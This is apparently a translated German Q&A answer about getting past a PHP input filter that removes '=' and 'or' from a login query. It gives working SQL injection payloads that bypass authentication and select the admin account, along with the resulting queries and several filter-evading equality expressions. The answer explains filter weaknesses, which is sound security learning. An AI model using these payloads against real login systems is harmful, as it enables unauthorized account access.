Mysql
 sql >> Datenbank >  >> RDS >> Mysql

SQL-Injection mit PHP-Filterung

Angenommen diese Definition von lvl2_filter , wodurch im Grunde jedes Vorkommen von = entfernt wird und or bis nicht mehr gefunden, sollte es immer noch möglich sein, den logische ODER-Verknüpfung mit || statt OR und ein einfacher Ausdruck, der als wahr ausgewertet wird, wie:

username: dummy
password: ' || '1

Dies würde zu Folgendem führen:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Um einen bestimmten Benutzer auszuwählen, kann man die Regeln der Booleschen Algebra verwenden , wobei x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Dies würde zu Folgendem führen:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Hier <> entspricht != enthält aber kein = .

Es gibt auch andere Operationen, die man verwenden könnte, um Benutzername sicherzustellen entspricht admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END